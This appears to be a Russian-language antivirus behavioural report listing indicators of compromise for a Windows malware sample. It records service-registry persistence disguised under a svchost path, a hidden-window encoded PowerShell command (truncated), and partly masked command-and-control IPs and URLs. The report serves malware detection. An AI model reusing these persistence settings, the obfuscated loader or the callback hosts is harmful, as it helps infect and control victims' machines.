Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\occache] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\occache] 'ImagePath' = '"%WINDIR%\SysWOW64\svchost\occache.exe"'
- 'occache' "%WINDIR%\SysWOW64\svchost\occache.exe"
- 'occache' %WINDIR%\SysWOW64\svchost\occache.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABTADcANgAwAG0AYQBjAD0AKAAnAFUAJwArACcAYQAnACsAKAAnAGEAcwAnACsAJwA5ADgAeAAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAcgBQAHIATw...
- %HOMEPATH%\mm3e3mj\gvn3r9l\fre_i1chm.exe
- %WINDIR%\syswow64\svchost\occache.exe
- %HOMEPATH%\mm3e3mj\gvn3r9l\fre_i1chm.exe в %WINDIR%\syswow64\svchost\occache.exe
- '12.##3.208.58':80
- '45.#3.35.74':8080
- http://in###xon.com/wp-admin/472/
- http://12.##3.208.58/5m5zFiHOUigl9/jHnsKKZfALQf3/w2uMVP9lC0iSG/9t9lKvAhE7knjWgSG0/
- http://45.##.35.74:8080/gF09MWHt1T/ via 45.#3.35.74
- DNS ASK in###xon.com
- '%HOMEPATH%\mm3e3mj\gvn3r9l\fre_i1chm.exe'
- '%WINDIR%\syswow64\svchost\occache.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABTADcANgAwAG0AYQBjAD0AKAAnAFUAJwArACcAYQAnACsAKAAnAGEAcwAnACsAJwA5ADgAeAAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAcgBQAHIATw...' (со скрытым окном)